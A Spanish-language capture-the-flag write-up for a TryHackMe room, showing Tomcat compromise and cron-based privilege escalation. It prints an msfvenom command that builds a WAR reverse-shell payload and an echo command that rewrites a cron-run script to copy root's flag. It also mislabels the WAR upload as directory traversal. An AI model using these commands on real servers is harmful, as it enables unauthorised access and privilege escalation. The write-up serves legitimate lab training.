Thompson
Datos Generales
- URL: https://tryhackme.com/r/room/bsidesgtthompson
- Dificultad: Fácil
- Flags: Usuario y Root
- Aprendizaje: Explotación con metasploit, crontab
Conocimientos iniciales
Apache Tomcat y archivos .war
Las versiones anteriores a 6.024/5.5.29 de tomcat son vulnerables a directory transversal, lo que permite ejecutar un payload desde metasploit, entre otras técnicas de explotación.
Información ampliada en el siguiente enlace: Apache Tomcat WAR Multiple Vulnerabilities
crontab
Crontab ejecuta tareas automatizadas en segundo plano, desde una lista alojada en etc/crontab o en otra ubicación determinada por el administrador.
Información ampliada en el siguiente enlace: Crontab
El CTF
Reconocimiento
Al iniciar el proceso de reconocimiento es común realizar la enumeración de puertos, el scaneo de directorios y de subdominios, entre otras pruebas según presente la aplicación web obejtivo. En el caso de este ctf se obtuvo resultados de ínteres mediante el scaneo de puertos. La herramienta utilizada para ello fue nmap. El resultado muestra que el puerto 8080 se encuentra habilitado para desplegar el servicio Apache Tomcat
Ingresando por el puerto 8080 se observa que se despliega un menu de inicio de sesión, el cual al oprimir en cancel despliega una pagina de error con información importante.


Primera Flag
Realizando el login con las credenciales obtenidas en la página de error accedemos al siguiente panel

La página permite “subir” e implementar archivos .war en el servidor

Como se expuso al inicio de este tutorial, es posible realizar un ataque de tipo directory transversal mediante el uso de archivos war. Para ello necesitaremos msfvenom para generar el payload. Como podemos ver a continuación
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
Se puede obtener el payload desde: https://book.hacktricks.wiki/es/generic-hacking/reverse-shells/msfvenom.html?highlight=war#war
Generamos el payload y ponemos un servidor en escucha en el puerto 4444

Una vez subido el archivo reverse_shell.war ejecutamos el payload desde el panel de administración

Observamos que fue posible la conexión a través del payload. A continuación realizamos la búsqueda de la flag en los archivos del servidor.

Escalamiento de privilegios
Flag de root
Notamos que el archivo id.sh se encuentra enlazado al archivo test.txt, es posible que se ejecute mediante crontab


Utilizamos el comando echo para copiar
echo 'cp /root/root.txt /home/jack/root.txt' > id.sh
Al ejecutarse este comando, se copiará el archivo root.txt ubicado en el directorio /root/ al directorio /home/jack/.


Esperamos un momento a que se ejecute la tarea en crontab, y accedemos root.txt obteniendo la segunda flag
